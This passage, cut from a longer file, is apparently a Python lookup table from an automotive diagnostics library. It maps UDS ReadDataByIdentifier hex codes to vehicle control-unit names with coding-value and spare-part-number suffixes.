"Battery_junction_box_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d1] = "Cell_module_controller_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d2] = "Cell_module_controller_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d3] = "Cell_module_controller_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d4] = "Cell_module_controller_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d5] = "Cell_module_controller_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d6] = "Cell_module_controller_6_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d7] = "Cell_module_controller_7_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d8] = "Cell_module_controller_8_Coding_Values" UDS_RDBI.dataIdentifiers[0x60d9] = "Cell_module_controller_9_Coding_Values" UDS_RDBI.dataIdentifiers[0x60da] = "Cell_module_controller_10_Coding_Values" UDS_RDBI.dataIdentifiers[0x60db] = "Cell_module_controller_11_Coding_Values" UDS_RDBI.dataIdentifiers[0x60dc] = "Cell_module_controller_12_Coding_Values" UDS_RDBI.dataIdentifiers[0x60dd] = "Seat_backrest_fan_1_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60de] = "Seat_backrest_fan_2_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60df] = "Seat_cushion_fan_1_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e0] = "Seat_cushion_fan_2_rear_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e1] = "Seat_backrest_fan_1_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e2] = "Seat_backrest_fan_2_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e3] = "Seat_cushion_fan_1_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e4] = "Seat_cushion_fan_2_rear_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e5] = "Auxiliary_blower_motor_control_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e6] = "Auxiliary_blower_motor_control_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e7] = "Infrared_sender_for_front_observation_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e8] = "Starter_generator_control_module_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60e9] = "Media_player_1_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ea] = "Media_player_2_sub_Coding_Values" UDS_RDBI.dataIdentifiers[0x60eb] = "Dedicated_short_range_communication_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ec] = "Refrigerant_pressure_and_temperature_sender_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ed] = "Refrigerant_pressure_and_temperature_sender_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ee] = "Refrigerant_pressure_and_temperature_sender_6_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ef] = "Air_coolant_actuator_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f0] = "Air_coolant_actuator_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f1] = "Cell_module_controller_13_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f2] = "Cell_module_controller_14_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f3] = "Cell_module_controller_15_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f5] = "Seat_heating_rear_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f6] = "LED_warning_indicator_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f7] = "Automatic_transmission_fluid_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f8] = "Manual_transmission_fluid_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x60f9] = "Convenience_and_driver_assist_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fb] = "Air_coolant_actuator_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fc] = "Valve_block_4_in_driver_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fd] = "Valve_block_4_in_passenger_side_rear_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60fe] = "Valve_block_4_in_driver_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x60ff] = "Valve_block_4_in_passenger_side_front_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x6101] = "Rear_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6102] = "Refrigerant_expansion_valve_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6103] = "Refrigerant_expansion_valve_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6104] = "Refrigerant_expansion_valve_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6105] = "Refrigerant_shut_off_valve_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6106] = "Refrigerant_shut_off_valve_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6107] = "Refrigerant_shut_off_valve_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6108] = "Refrigerant_shut_off_valve_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x6109] = "Refrigerant_shut_off_valve_5_Coding_Values" UDS_RDBI.dataIdentifiers[0x610a] = "Sunlight_sensor_Coding_Values" UDS_RDBI.dataIdentifiers[0x610b] = "Near_field_communication_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x610c] = "Clutch_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x610d] = "Electrical_charger_Coding_Values" UDS_RDBI.dataIdentifiers[0x610e] = "Rear_light_left_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x610f] = "Rear_light_right_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6110] = "Rear_light_right_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6111] = "Sunlight_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6112] = "Radiator_shutter_Coding_Values" UDS_RDBI.dataIdentifiers[0x6113] = "Radiator_shutter_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6114] = "Radiator_shutter_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6115] = "Radiator_shutter_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x6118] = "Special_key_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6119] = "Radio_interface_Coding_Values" UDS_RDBI.dataIdentifiers[0x611a] = "Video_self_protection_recorder_Coding_Values" UDS_RDBI.dataIdentifiers[0x611b] = "Special_vehicle_assist_interface_Coding_Values" UDS_RDBI.dataIdentifiers[0x611c] = "Electric_system_disconnection_diode_Coding_Values" UDS_RDBI.dataIdentifiers[0x611d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x611e] = "Belt_pretensioner_2nd_row_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x611f] = "Belt_pretensioner_2nd_row_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x6120] = "Electrical_variable_camshaft_phasing_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6121] = "Electrical_variable_camshaft_phasing_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6122] = "Wireless_operating_unit_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6123] = "Wireless_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6124] = "Front_windshield_washer_pump_Coding_Values" UDS_RDBI.dataIdentifiers[0x6125] = "Air_quality_sensor_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6126] = "Fragrancing_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x6127] = "Coolant_valve_Coding_Values" UDS_RDBI.dataIdentifiers[0x6128] = "Near_field_communication_control_module_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x6129] = "Interior_monitoring_rear_Coding_Values" UDS_RDBI.dataIdentifiers[0x612a] = "Cooler_fan_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x612b] = "Control_unit_heating_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x612c] = "Control_unit_heating_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x612d] = "Control_unit_heating_3_Coding_Values" UDS_RDBI.dataIdentifiers[0x612e] = "Control_unit_heating_4_Coding_Values" UDS_RDBI.dataIdentifiers[0x612f] = "Operating_unit_drive_mode_selection_Coding_Values" UDS_RDBI.dataIdentifiers[0x6130] = "Side_sensor_a-pillar_driver_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6131] = "Side_sensor_a-pillar_passenger_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6132] = "Sensor_high_voltage_system_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x6133] = "Side_sensor_b-pillar_driver_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6134] = "Side_sensor_b-pillar_passenger_front_Coding_Values" UDS_RDBI.dataIdentifiers[0x6135] = "Multi_function_steering_wheel_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6136] = "Gear_selection_display_Coding_Values" UDS_RDBI.dataIdentifiers[0x6137] = "Cooler_fan_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x6138] = "Gear_selector_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x6139] = "Interior_light_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x613a] = "Radio_control_center_Coding_Values" UDS_RDBI.dataIdentifiers[0x613b] = "Multimedia_extension_Coding_Values" UDS_RDBI.dataIdentifiers[0x613c] = "Control_unit_differential_lock_Coding_Values" UDS_RDBI.dataIdentifiers[0x613d] = "Control_unit_ride_control_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x613e] = "Control_unit_hands_on_detection_steering_wheel_Coding_Values" UDS_RDBI.dataIdentifiers[0x613f] = "Front_climatronic_operating_and_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6140] = "Auxiliary_display_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x6141] = "Card_reader_tv_tuner_Coding_Values" UDS_RDBI.dataIdentifiers[0x6142] = "Park_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x6143] = "Media_connector_Coding_Values" UDS_RDBI.dataIdentifiers[0x6144] = "Catalyst_heating_Coding_Values" UDS_RDBI.dataIdentifiers[0x6201] = "Control_unit_for_wiper_motor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6202] = "Rain_light_recognition_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6203] = "Light_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6204] = "Garage_door_opener_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6205] = "Garage_door_opener_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6206] = "Ignition_key_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6207] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6208] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6209] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620a] = "LED_headlamp_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620b] = "LED_headlamp_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620c] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620d] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620e] = "Operating_and_display_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x620f] = "Operating_and_display_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6210] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6211] = "Data_medium_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6212] = "Drivers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6213] = "Front_passengers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6214] = "Left_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6215] = "Right_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6216] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6217] = "Rear_lid_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6218] = "Alarm_horn_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6219] = "Automatic_day_night_interior_mirror_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621a] = "Remote_control_auxiliary_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621b] = "Fresh_air_blower_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621c] = "Fresh_air_blower_back_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621d] = "Alternator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621e] = "Interior_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x621f] = "Refrigerant_pressure_and_temperature_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6220] = "Sun_roof_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6221] = "Steering_column_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6222] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6223] = "Tire_pressure_monitor_antenna_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6224] = "Heated_windshield_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6225] = "Rear_light_left_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6226] = "Ceiling_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6227] = "Left_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6228] = "Right_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6229] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622a] = "Belt Pretensioner left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622b] = "Belt Pretensioner right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622c] = "Occupant Detection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622d] = "Selector_lever_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622e] = "NOx_sensor_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x622f] = "NOx_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6230] = "Ioniser_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6231] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6232] = "Left_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6233] = "Right_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6234] = "Left_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6235] = "Right_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6236] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6237] = "Battery_monitoring_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6238] = "Roof_blind_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6239] = "Sun_roof_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623a] = "Steering_angle_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623b] = "Lane_change_assistant 2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623c] = "Pitch_rate_sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623d] = "ESP_sensor_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623e] = "Electronic_ignition_lock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x623f] = "Air_quality_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6240] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6241] = "Telephone_handset_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6242] = "Chip_card_reader_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6243] = "Traffic_data_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6244] = "Hands_free_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6245] = "Telephone_handset_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6246] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6247] = "Multimedia_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6248] = "Digital_sound_system_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6249] = "Electrically_adjustable_steering_column_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624a] = "Interface_for_external_multimedia_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624b] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624c] = "Drivers_door_rear_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624d] = "Passengers_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624e] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x624f] = "Camera_for_night_vision_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6250] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6251] = "Rear_spoiler_adjustment_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6252] = "Roof_blind_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6253] = "Motor_for_wind_deflector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6254] = "Voltage_stabilizer_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6255] = "Switch_module_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6256] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6257] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6258] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6259] = "Switch_module_2_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625a] = "Battery_charger_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625b] = "Battery_charger_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625c] = "Battery_charger_unit_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625d] = "Air_conditioning_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625e] = "Neck_heating_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x625f] = "Neck_heating_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6260] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6261] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6262] = "Compact_disc_database_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6263] = "Rear_climatronic_operating_and_display_unit_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6264] = "Rear_climatronic_operating_and_display_unit_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6265] = "Door_handle_front_left_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6266] = "Door_handle_front_right_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6267] = "Door_handle_rear_left_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6268] = "Door_handle_rear_right_Kessy_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6269] = "Power_converter_DC_AC_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626a] = "Battery_monitoring_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626b] = "Matrix_headlamp_powermodule_1_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626c] = "Matrix_headlamp_powermodule_1_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626d] = "High_beam_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626e] = "High_beam_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x626f] = "Air_suspension_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6270] = "Rear_brake_actuator_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6271] = "Rear_brake_actuator_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6272] = "Analog_clock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6273] = "Rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6279] = "Data_medium_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627a] = "Operating_unit_center_console_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627b] = "Operating_unit_center_console_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627c] = "Operating_unit_center_console_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627d] = "Operating_unit_center_console_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627e] = "Interface_for_radiodisplay_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x627f] = "Parkassist_entry_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6286] = "Belt_pretensioner_3rd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6287] = "Belt_pretensioner_3rd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6288] = "Injection_valve_heater_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6289] = "Steering_column_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628a] = "Brake_assistance_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628b] = "Trailer_articulation_angle_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628c] = "Cup_holder_with_heater_and_cooling_element_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628d] = "Range_of_vision_sensing_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628e] = "Convenience_and_driver_assist_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x628f] = "Cradle_rear_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6290] = "Trailer_weight_nose_weight_detection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6291] = "Sensor_carbon_dioxide_concentration_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6292] = "Sensor_fine_dust_concentration_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6293] = "Volume_control_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6294] = "Belt_buckle_presenter_2nd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6295] = "Belt_buckle_presenter_2nd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6296] = "Operating_and_display_unit_6_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6297] = "Active_accelerator_pedal_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6298] = "Multimedia_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6299] = "Display_unit_3_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629a] = "Display_unit_4_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629b] = "Display_unit_5_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629c] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629d] = "Operating_and_display_unit_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629e] = "Operating_and_display_unit_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x629f] = "Operating_and_display_unit_5_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a0] = "Side Sensor Driver Front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a1] = "Side Sensor Passenger Front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a2] = "Side Sensor Driver Rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a3] = "Side Sensor Passenger Rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a4] = "Front Sensor Driver_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a5] = "Front Sensor Passenger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a6] = "Pedestrian Protection Driver_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a7] = "Pedestrian Protection Passenger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a8] = "Rear Sensor Center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62a9] = "Pedestrian Protection Center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62aa] = "Pedestrian Protection Contact_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ab] = "Pedestrian_protection_driver_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ac] = "Pedestrian_protection_passenger_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ad] = "Central_sensor_XY_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ae] = "Refrigerant_pressure_and_temperature_sender_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62af] = "Refrigerant_pressure_and_temperature_sender_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b0] = "Switch_for_rear_multicontour_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b1] = "Valve_block_1_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b2] = "Valve_block_2_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b3] = "Valve_block_3_in_driver_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b4] = "Switch_for_rear_multicontour_seat_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b5] = "Valve_block_1_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b6] = "Valve_block_2_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b7] = "Valve_block_3_in_passenger_side_rear_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b8] = "Switch_for_front_multicontour_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62b9] = "Valve_block_1_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ba] = "Valve_block_2_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bb] = "Valve_block_3_in_driver_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bc] = "Switch_for_front_multicontour_seat_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bd] = "Valve_block_1_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62be] = "Valve_block_2_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62bf] = "Valve_block_3_in_passenger_side_front_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c0] = "Coolant_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c1] = "Seat_backrest_fan_1_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c2] = "Seat_backrest_fan_2_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c3] = "Seat_cushion_fan_1_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c4] = "Seat_cushion_fan_2_front_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c5] = "Seat_backrest_fan_1_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c6] = "Seat_backrest_fan_2_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c7] = "Seat_cushion_fan_1_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c8] = "Seat_cushion_fan_2_front_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62c9] = "Operating_and_display_unit_1_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ca] = "Operating_and_display_unit_2_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cb] = "Operating_and_display_unit_3_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cc] = "Operating_and_display_unit_4_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cd] = "Operating_and_display_unit_5_for_air_conditioning_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62ce] = "Pedestrian_protection_left_hand_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62cf] = "Pedestrian_protection_right_hand_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x62d0] = 